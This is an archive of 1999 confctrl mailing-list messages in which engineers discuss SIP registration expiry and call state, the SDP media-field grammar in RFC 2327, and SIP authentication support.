	Tue, 13 Apr 1999 01:37:38 -0400 (EDT)
Message-ID: <3712D81B.4FB8143C@dnrc.bell-labs.com>
Date: Tue, 13 Apr 1999 01:37:31 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Arjun RC <archow@hss.hns.com>
CC: confctrl@ISI.EDU
Subject: Re: BYE, REGISTER, call termination
References: <Pine.LNX.4.05.9904130927320.29251-100000@hss068.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Arjun RC wrote:
> 
> Hi,
> I have a few doubts after reading the SIP rfc.
> 
> 1. The RFC mentions that if a user's registration expires, the SIP Server
> must _silently_ remove his/her registration.
> 
> But what does this amount to ? Assuming the case in which A & B are
> talking and A's registration expires, once the SIP Server removes his
> registration, does it also Break the call ? 

Absolutely not. In normal operation, once the call is established, the
proxy isn't involved anymore. The endpoints signal directly. The fact
that the refresh expires has no impact. Even using Record-Routes,the
Route header would instruct the proxy on how to forward the request
without the registration database being up to date.

In any case, if A and B are talking, this means A is alive, and it
should refresh its registration anyway.



If not, then A could start a
> call just 1 min away from his expiry time and continue till hours without
> disconnecting. So what is the usual policy that most implementors have
> used ?

Sure. Whats wrong with that? The purpose of registration expiration is
*not* to deny access to the IP network (nothing it can do about that),
but to not make use of devices which are not connected to the network
anymore.

> 
> 2. The second is to do with register refreshes. Assume that A & B are in a
> conversation. If A crashes, B can detect the crash when it does not get
> any packets from A and issue a BYE which can tell the SIP Server that the
> call b/w the two must be terminated and it proceeds to removr any state it
> maintains for the two.
> The problem arises when both A & B both crash at the same time. If this
> happens, the BYE cannot be initiated and how does the SIP Server know when
> to do any processing to close the call record ? One way would be to force
> each client to timeout after say X secs. after which it must refresh its
> registration. But this would mean
>         a) Each client after X secs has to send a refresh to the SIP
> Server -- for a lot of clients, its a lot of packets transmitted.
>         b) The fact that the SIP Server forces each client to TimeOut and
> refresh after X secs means that if a client wants to Expire after say,
> 7200 seconds, the SIP Server does not honour it, and instead asks him to
> timeout after X secs. I want the Server to honour client specified expiry
> time if it can.

You are confusing registration expiration from call timeouts. They are
totally different. There was a recent draft on SIP call timeouts, which
uses a re-INVITE between both parties to keep the call active in the
proxy. This interval for refresh has nothing to do with registration
refresh.

In any case, if you don't like the overhead of maintaining call state in
the proxy, then don't. SIP scales best when the proxies don't maintain
call state. They assist in call setup and then thats it. Many
traditional mid-call services, like mute, conference, and call waiting,
require media to pass through the device providing the service. Since
the media does not pass through a SIP proxy, most of these services make
most sense to implement in the UA. 

> 
> 3. Finally, what is the usual philosophy of REGISTER expiry ? I know
> diffenrt implementors can have different philosophies, but I wanted a feel
> of what the usual practics is -- does the SIP SErver use the REGISTER
> expiry as a time-limiting factor for a client after which it can deny
> service to the client (useful in cases where I give a client free time or
> 1 hr, and then ask him to pay up for service) or is it simply a client
> facilitator in which the client can keep extending the REGISTER as and
> when he pleases ?

REGISTER expirations will not help you limit user access to services. A
UA can simply bypass the proxy and signal direct (or use a different
proxy which has no such limitation). REGISTER expirations are meant to
make sure that users communicate only with devices which are actually
connected to the network. 

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Apr 13 07:43:21 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA18349
	for confctrl-outgoing; Tue, 13 Apr 1999 07:43:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA18344
	for <confctrl@zephyr.isi.edu>; Tue, 13 Apr 1999 07:43:19 -0700 (PDT)
Received: from smtp01ffm.de.uu.net (smtp01ffm.de.uu.net [192.76.144.150])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA23094
	for <confctrl@isi.edu>; Tue, 13 Apr 1999 07:43:18 -0700 (PDT)
Received: from mpents001.mpe-muc.de (mpents001.mpe-muc.de [193.101.155.200]:2773)
	by smtp01ffm.de.uu.net with ESMTP (5.65+:004/3.0.2)
	for <confctrl@isi.edu>
	id QAA06815; Tue, 13 Apr 1999 16:43:14 +0200 (MET DST)
Received: by mpents001.mpe-muc.de with Internet Mail Service (5.0.1460.8)
	id <2RLRK05W>; Tue, 13 Apr 1999 16:43:00 +0200
Message-ID: <88CE80259EF0D1118EC000A0C93A19D6218AF9@mpents001.mpe-muc.de>
From: Thomas Lang <LThomas@mpe-muc.de>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Date: Tue, 13 Apr 1999 16:42:57 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.0.1460.8)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



From confctrl-owner  Tue Apr 13 08:35:17 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA20508
	for confctrl-outgoing; Tue, 13 Apr 1999 08:35:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA20503
	for <confctrl@zephyr.isi.edu>; Tue, 13 Apr 1999 08:35:16 -0700 (PDT)
Received: from basil.cdt.luth.se (root@basil.cdt.luth.se [130.240.64.67])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA25701
	for <confctrl@isi.edu>; Tue, 13 Apr 1999 08:35:14 -0700 (PDT)
Received: from fury.cdt.luth.se (fury.cdt.luth.se [130.240.64.12]) by basil.cdt.luth.se (8.8.8/8.7.3) with ESMTP id RAA01898 for <confctrl@isi.edu>; Tue, 13 Apr 1999 17:35:09 +0200 (MET DST)
Received: from cdt.luth.se (localhost [127.0.0.1]) by fury.cdt.luth.se (8.6.12/8.6.12) with ESMTP id RAA21202 for <confctrl@isi.edu>; Tue, 13 Apr 1999 17:35:07 +0200
Message-ID: <3713642B.4AAF6C86@cdt.luth.se>
Date: Tue, 13 Apr 1999 17:35:07 +0200
From: James Nord <nord@cdt.luth.se>
Organization: Software Engineering Group, =?iso-8859-1?Q?Lule=E5?= University of 
	Technology
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en-GB,sv
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SDP rfc error?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

On page 21 of rfc2327 the two examples used at the bottom of the page
are for audio data types.
However in the example SDP entry they are given the media type video.

Is this an error or?

	/James

From confctrl-owner  Tue Apr 13 23:58:38 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA29976
	for confctrl-outgoing; Tue, 13 Apr 1999 23:58:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA29970
	for <confctrl@zephyr.isi.edu>; Tue, 13 Apr 1999 23:58:36 -0700 (PDT)
Received: from gatekeeper.wipsys.soft.net (gatekeeper.wipsys.soft.net [164.164.90.8])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA24667
	for <confctrl@isi.edu>; Tue, 13 Apr 1999 23:58:31 -0700 (PDT)
Received: by gatekeeper.wipsys.soft.net (SMI-8.6/SMI-SVR4)
	id MAA11811; Wed, 14 Apr 1999 12:31:09 -0500
Received: from kmglmail(164.164.26.11) by gatekeeper via smap (V2.0)
	id xma011797; Wed, 14 Apr 99 12:30:44 -0500
Received: from kartick by kmglmail.wipsys.soft.net (SMI-8.6/SMI-SVR4)
	id MAA29450; Wed, 14 Apr 1999 12:28:32 +0530
From: "Kartick" <karsun@wipsys.soft.net>
To: <confctrl@ISI.EDU>
Subject: Regarding SDP Media level description
Date: Wed, 14 Apr 1999 12:27:34 +0530
Message-ID: <01be8644$1306e670$171aa4a4@kartick.wipsys.soft.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.71.1712.3
X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



hi! I have a doubt regarding Media Level description

The RFC 2327 states that
   "An announcement consists of a session-level section followed by zero
   or more media-level sections. " [page no:7]


If so then how is it possible to declare "m=" as a mandatory
parameter when there is a possibility of the field "m="
not being there.

cheers
kartick
----------------------------------------------------------------------------
----------------------------------
Kartick Sundaram
Telecom Prospects
Koramangala -C1
      Call @ 5538301/2421
      Mail@ karsun@wipsys.soft.net

Time can bring you down
Time can bend your knees
Time can break your heart
Have you begging please
           begging please....................
                                    Eric clapton
                                   tears in heaven



From confctrl-owner  Wed Apr 14 03:10:41 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA05789
	for confctrl-outgoing; Wed, 14 Apr 1999 03:10:41 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA05784
	for <confctrl@zephyr.isi.edu>; Wed, 14 Apr 1999 03:10:39 -0700 (PDT)
Received: from tapti.hss.hns.com (tapti.hss.hns.com [139.85.242.19])
	by venera.isi.edu (8.8.7/8.8.6) with ESMTP id DAA17439
	for <confctrl@ISI.EDU>; Wed, 14 Apr 1999 03:10:33 -0700 (PDT)
Received: from hss068.hss.hns.com (archow@hss068.hss.hns.com [139.85.229.168])
	by tapti.hss.hns.com (8.8.8/8.8.8) with ESMTP id QAA09046;
	Wed, 14 Apr 1999 16:21:11 +0530 (IST)
Date: Wed, 14 Apr 1999 15:28:50 +0530 (IST)
From: Arjun RC <archow@hss.hns.com>
To: Kartick <karsun@wipsys.soft.net>
cc: confctrl@ISI.EDU
Subject: Re: Regarding SDP Media level description
In-Reply-To: <65256753.0033DBA6.00@sampark.hss.hns.com>
Message-ID: <Pine.LNX.4.05.9904141515350.17504-100000@hss068.hss.hns.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi Kartick,
According to the SDP specification and the grammar specified, the
m= field is mandatory within any media-level description. 
What that means is that for each SDP message, 

v,o,s are mandatory and if you specify a media description field, 
m is mandatory.

Now according to the grammar (App. A),

media-descriptions =  *( media-field
                         information-field
                         *(connection-field)
                         bandwidth-fields
                         key-field
                         attribute-fields )

which means it can be empty too as you suggested. However, I am yet to see
an example/ think of a case in which I send a SDP packet without
specifying m= field.

Could anyone give inputs on when such a case might happen ?

Thx
Cheers
ARC

On Wed, 14 Apr -1, Kartick wrote:

Kartic> hi! I have a doubt regarding Media Level description The
Kartic> RFC 2327 states that
Kartic>    "An announcement consists of a session-level section
Kartic>  followed by zero


WinErr: 042 Virus error - A virus has been activated in a dos-box. 
The virus, however,requires Windows. All tasks will automatically be 
closed and the virus will be activated again. 
------------------------------+----------------------------------+
(O): Hughes Software Systems  |(R): 68/G, 2nd Narayanappa Block, |
146, Prestige Opal Bldng,     |R.T. Nagar,                       |
Infantry Rd, Bangalore-560001 |Bangalore-560032                  |
Ph:+91-80-2286390/91/92       |Ph:+91-80-3430565                 |
------------------------------+----------------------------------+
http://arjun.cjb.net, http://hss068.hss.hns.com (intra HSS)



From confctrl-owner  Wed Apr 14 05:04:50 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA09152
	for confctrl-outgoing; Wed, 14 Apr 1999 05:04:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA09147
	for <confctrl@zephyr.isi.edu>; Wed, 14 Apr 1999 05:04:49 -0700 (PDT)
Received: from smtprtp.nortel.com (smtprtp.NortelNetworks.com [192.122.117.66])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA02034
	for <confctrl@ISI.EDU>; Wed, 14 Apr 1999 05:04:48 -0700 (PDT)
Received: from zrtpd004.us.nortel.com (actually nrtpd004) by smtprtp.nortel.com;
          Wed, 14 Apr 1999 08:03:22 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) 
          id <2X2HMLZ6>; Wed, 14 Apr 1999 08:03:18 -0400
Message-ID: <C51ED84B6F47D211917A0000F8BCBD110112B73A@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: Arjun RC <archow@hss.hns.com>, karsun@wipsys.soft.net
Cc: confctrl@ISI.EDU
Subject: RE: Regarding SDP Media level description
Date: Wed, 14 Apr 1999 08:03:11 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I could see a possible case in a Media Gateway control application, where a
global c= clause identifies a circuit and m= is unnecessary because 64 kbs
clear channel service is understood.  I hasten to add that no one has
actually proposed this syntax for Megaco use.

> -----Original Message-----
> From:	Arjun RC [SMTP:archow@hss.hns.com]
> Sent:	Wednesday, April 14, 1999 5:59 AM
> To:	karsun@wipsys.soft.net
> Cc:	confctrl@ISI.EDU
> Subject:	Re: Regarding SDP Media level description
> 
> 
	[[TomT]] snip

	...  However, I am yet to see
> an example/ think of a case in which I send a SDP packet without
> specifying m= field.
> 
> Could anyone give inputs on when such a case might happen ?
>  
> 

From confctrl-owner  Wed Apr 14 06:15:48 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA11421
	for confctrl-outgoing; Wed, 14 Apr 1999 06:15:48 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA11416
	for <confctrl@zephyr.isi.edu>; Wed, 14 Apr 1999 06:15:46 -0700 (PDT)
Received: from kaa.kfunigraz.ac.at (KAA-ATM.kfunigraz.ac.at [143.50.202.22])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA03764
	for <confctrl@ISI.EDU>; Wed, 14 Apr 1999 06:15:42 -0700 (PDT)
Received: from balu.kfunigraz.ac.at (balu [143.50.16.16])
	by kaa.kfunigraz.ac.at (8.9.2/8.9.2) with ESMTP id PAA06219
	for <confctrl@ISI.EDU>; Wed, 14 Apr 1999 15:15:37 +0200 (MDT)
Received: from writeme.com (ABRZ173.kfunigraz.ac.at [143.50.106.173])
	by balu.kfunigraz.ac.at (8.9.2/8.9.2) with ESMTP id PAA11670
	for <confctrl@ISI.EDU>; Wed, 14 Apr 1999 15:15:37 +0200 (MDT)
Message-ID: <37149515.919C5698@writeme.com>
Date: Wed, 14 Apr 1999 15:16:05 +0200
From: Markus Pscheidt <pscheidt@writeme.com>
Organization: Karl Franzens =?iso-8859-1?Q?Universit=E4t?=
X-Mailer: Mozilla 4.5 [en] (Win95; I)
X-Accept-Language: en,de
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP security
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


What is the security situation of SIP likely to be in the future?

...There was an article in this mailing list some time ago stating that
SAP security mechanisms would be appropriate to address the missing
authentication procedures of SIP. Is that right, or are there other
plans?


~~ Markus Pscheidt alias pscheidt@writeme.com ~~
 student at Graz Technical University, Austria

From confctrl-owner  Wed Apr 14 11:04:10 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA21714
	for confctrl-outgoing; Wed, 14 Apr 1999 11:04:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA21709
	for <confctrl@zephyr.isi.edu>; Wed, 14 Apr 1999 11:04:09 -0700 (PDT)
Received: from aardvark.aciri.org ([192.150.187.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA20114
	for <confctrl@ISI.EDU>; Wed, 14 Apr 1999 11:04:07 -0700 (PDT)
Received: from aardvark.aciri.org (localhost [127.0.0.1])
	by aardvark.aciri.org (8.9.2/8.9.2) with ESMTP id LAA01834;
	Wed, 14 Apr 1999 11:04:16 -0700 (PDT)
	(envelope-from mjh@aardvark.aciri.org)
From: Mark Handley <mjh@aciri.org>
X-Organisation: ACIRI
To: Kartick <karsun@wipsys.soft.net>
cc: confctrl <confctrl@ISI.EDU>
Subject: Re: Regarding SDP Media level description 
In-reply-to: Your message of "Wed, 14 Apr 1999 12:27:34 +0530."
             <01be8644$1306e670$171aa4a4@kartick.wipsys.soft.net> 
Date: Wed, 14 Apr 1999 11:04:16 -0700
Message-ID: <1832.924113056@aardvark.aciri.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>hi! I have a doubt regarding Media Level description
>
>The RFC 2327 states that
>   "An announcement consists of a session-level section followed by zero
>   or more media-level sections. " [page no:7]
>
>If so then how is it possible to declare "m=" as a mandatory
>parameter when there is a possibility of the field "m="
>not being there.

Where does it say "m=" is mandatory?  Both page 8 that you quoted and
the ABNF state zero or more media descriptions.

Cheers,	
	Mark

From confctrl-owner  Wed Apr 14 14:28:32 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA29896
	for confctrl-outgoing; Wed, 14 Apr 1999 14:28:32 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA29891
	for <confctrl@zephyr.isi.edu>; Wed, 14 Apr 1999 14:28:30 -0700 (PDT)
Received: from wombo.com (www.wombo.com [199.108.92.215])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA17029
	for <confctrl@isi.edu>; Wed, 14 Apr 1999 14:28:28 -0700 (PDT)
Received: from research.telcordia.com (216.84.203.167) by wombo.com with
 ESMTP (Eudora Internet Mail Server 1.1.2); Wed, 14 Apr 1999 14:28:46 -0700
Message-ID: <3715087F.661C2CAF@research.telcordia.com>
Date: Wed, 14 Apr 1999 17:28:31 -0400
From: Christian Huitema <huitema@research.telcordia.com>
X-Mailer: Mozilla 4.04 [en] (Win95; U)
MIME-Version: 1.0
To: Tom-PT Taylor <taylor@nortelnetworks.com>
CC: Arjun RC <archow@hss.hns.com>, karsun@wipsys.soft.net, confctrl@ISI.EDU
Subject: Re: Regarding SDP Media level description
References: <C51ED84B6F47D211917A0000F8BCBD110112B73A@zcard00g.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In fact, it could make sense to have a profile of SDP for MEGACO, that
would specify exactly how many media fields we expect.  Also, we have
run (in MGCP) into the need to specify more attributes than currently
defined in the base SDP specification.  This concerns:

* usage of silence suppression,
* usage of gain control,
* usage of RSVP and/or DIFFSERV (TOS value)
* usage of echo cancellation.

We will need to use the existing extension mechanisms to define these
attributes.

From confctrl-owner  Wed Apr 14 21:25:09 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA14211
	for confctrl-outgoing; Wed, 14 Apr 1999 21:25:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA14206
	for <confctrl@zephyr.isi.edu>; Wed, 14 Apr 1999 21:25:08 -0700 (PDT)
Received: from gatekeeper.wipsys.soft.net (gatekeeper.wipsys.soft.net [164.164.90.8])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id VAA21329
	for <confctrl@ISI.EDU>; Wed, 14 Apr 1999 21:25:02 -0700 (PDT)
Received: by gatekeeper.wipsys.soft.net (SMI-8.6/SMI-SVR4)
	id JAA12558; Thu, 15 Apr 1999 09:57:00 -0500
Received: from kmglmail(164.164.26.11) by gatekeeper via smap (V2.0)
	id xma012550; Thu, 15 Apr 99 09:56:53 -0500
Received: from kartick by kmglmail.wipsys.soft.net (SMI-8.6/SMI-SVR4)
	id JAA15261; Thu, 15 Apr 1999 09:54:42 +0530
From: "Kartick" <karsun@wipsys.soft.net>
To: "Mark Handley" <mjh@aciri.org>
Cc: "confctrl" <confctrl@ISI.EDU>
Subject: Re: Regarding SDP Media level description 
Date: Thu, 15 Apr 1999 09:53:49 +0530
Message-ID: <01be86f7$c2ae27b0$171aa4a4@kartick.wipsys.soft.net>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_00DD_01BE8725.DC6663B0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.71.1712.3
X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_00DD_01BE8725.DC6663B0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

hi! Mark

Some lines in each description are required and some
   are optional but all must appear in exactly the order given here (the
   fixed order greatly enhances error detection and allows for a simple
   parser). Optional items are marked with a `*'.

Media description

m=3D (media name and transport address)

i=3D* (media title)

c=3D* (connection information - optional if=20

here "m" does not have a star before it hence it=20

is mandatory or that is what I feel



regards=20

kartick


-----Original Message-----
From: Mark Handley <mjh@aciri.org>
To: Kartick <karsun@wipsys.soft.net>
Cc: confctrl <confctrl@ISI.EDU>
Date: Thursday, April 15, 1999 2:27 AM
Subject: Re: Regarding SDP Media level description=20


>
>>hi! I have a doubt regarding Media Level description
>>
>>The RFC 2327 states that
>>   "An announcement consists of a session-level section followed by =
zero
>>   or more media-level sections. " [page no:7]
>>
>>If so then how is it possible to declare "m=3D" as a mandatory
>>parameter when there is a possibility of the field "m=3D"
>>not being there.
>
>Where does it say "m=3D" is mandatory?  Both page 8 that you quoted and
>the ABNF state zero or more media descriptions.
>
>Cheers,=20
> Mark
>

------=_NextPart_000_00DD_01BE8725.DC6663B0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.71.1712.3"' name=3DGENERATOR>
</HEAD>
<BODY>
<DIV>hi! Mark&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>Some lines in each description are required and =
some<BR>&nbsp;&nbsp; are=20
optional but all must appear in exactly the order given here=20
(the<BR>&nbsp;&nbsp; fixed order greatly enhances error detection and =
allows for=20
a simple<BR>&nbsp;&nbsp; parser). <STRONG>Optional items are marked with =
a=20
`*'.</STRONG></DIV>
<DIV><STRONG></STRONG>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>
<P><FONT size=3D3>Media description</FONT></P>
<P><FONT size=3D3>m=3D (media name and transport address</FONT>)</P>
<P><FONT size=3D3>i=3D* (media title)</FONT></P></FONT>
<P><FONT face=3D"" size=3D3>c=3D* (connection information - optional if =
</FONT></P>
<P><FONT face=3D"" size=3D3></FONT>here &quot;m&quot; does not have a =
star before it=20
hence it &nbsp;</P></DIV>
<P>is mandatory or that is what I feel</P>
<P>&nbsp;</P>
<P>regards </P>
<P>kartick</P>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>-----Original Message-----<BR>From: =
Mark Handley=20
&lt;<A href=3D"mailto:mjh@aciri.org">mjh@aciri.org</A>&gt;<BR>To: =
Kartick &lt;<A=20
href=3D"mailto:karsun@wipsys.soft.net">karsun@wipsys.soft.net</A>&gt;<BR>=
Cc:=20
confctrl &lt;<A =
href=3D"mailto:confctrl@ISI.EDU">confctrl@ISI.EDU</A>&gt;<BR>Date:=20
Thursday, April 15, 1999 2:27 AM<BR>Subject: Re: Regarding SDP Media =
level=20
description <BR><BR></DIV></FONT>&gt;<BR>&gt;&gt;hi! I have a doubt =
regarding=20
Media Level description<BR>&gt;&gt;<BR>&gt;&gt;The RFC 2327 states=20
that<BR>&gt;&gt;&nbsp;&nbsp; &quot;An announcement consists of a =
session-level=20
section followed by zero<BR>&gt;&gt;&nbsp;&nbsp; or more media-level =
sections.=20
&quot; [page no:7]<BR>&gt;&gt;<BR>&gt;&gt;If so then how is it possible =
to=20
declare &quot;m=3D&quot; as a mandatory<BR>&gt;&gt;parameter when there =
is a=20
possibility of the field &quot;m=3D&quot;<BR>&gt;&gt;not being=20
there.<BR>&gt;<BR>&gt;Where does it say &quot;m=3D&quot; is =
mandatory?&nbsp; Both=20
page 8 that you quoted and<BR>&gt;the ABNF state zero or more media=20
descriptions.<BR>&gt;<BR>&gt;Cheers, <BR>&gt; Mark<BR>&gt;</BODY></HTML>

------=_NextPart_000_00DD_01BE8725.DC6663B0--


From confctrl-owner  Wed Apr 14 22:40:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA16925
	for confctrl-outgoing; Wed, 14 Apr 1999 22:40:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA16886
	for <confctrl@zephyr.isi.edu>; Wed, 14 Apr 1999 22:40:02 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id WAA25724
	for <confctrl@isi.edu>; Wed, 14 Apr 1999 22:40:01 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Apr 15 01:38:08 EDT 1999
Received: from dnrc.bell-labs.com ([135.39.250.50])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id BAA02941;
	Thu, 15 Apr 1999 01:38:06 -0400 (EDT)
Message-ID: <37157B40.5E0ABEA2@dnrc.bell-labs.com>
Date: Thu, 15 Apr 1999 01:38:08 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Markus Pscheidt <pscheidt@writeme.com>
CC: confctrl@ISI.EDU
Subject: Re: SIP security
References: <37149515.919C5698@writeme.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

What missing authentication procedures? rfc2543 supports basic, digest,
and pgp authentication.

-Jonathan R.

Markus Pscheidt wrote:
> 
> What is the security situation of SIP likely to be in the future?
> 
> ...There was an article in this mailing list some time ago stating that
> SAP security mechanisms would be appropriate to address the missing
> authentication procedures of SIP. Is that right, or are there other
> plans?
> 
> ~~ Markus Pscheidt alias pscheidt@writeme.com ~~
>  student at Graz Technical University, Austria

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Apr 14 22:44:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA17063
	for confctrl-outgoing; Wed, 14 Apr 1999 22:44:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA17058
	for <confctrl@zephyr.isi.edu>; Wed, 14 Apr 1999 22:44:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id WAA26122
	for <confctrl@isi.edu>; Wed, 14 Apr 1999 22:44:04 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Apr 15 01:43:45 EDT 1999
Received: from dnrc.bell-labs.com ([135.39.250.50])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id BAA03001;
	Thu, 15 Apr 1999 01:43:42 -0400 (EDT)
Message-ID: <37157C90.F6511EDE@dnrc.bell-labs.com>
Date: Thu, 15 Apr 1999 01:43:44 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Tom-PT Taylor <taylor@nortelnetworks.com>
CC: Arjun RC <archow@hss.hns.com>, karsun@wipsys.soft.net, confctrl@ISI.EDU
Subject: Re: Regarding SDP Media level description
References: <C51ED84B6F47D211917A0000F8BCBD110112B73A@zcard00g.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
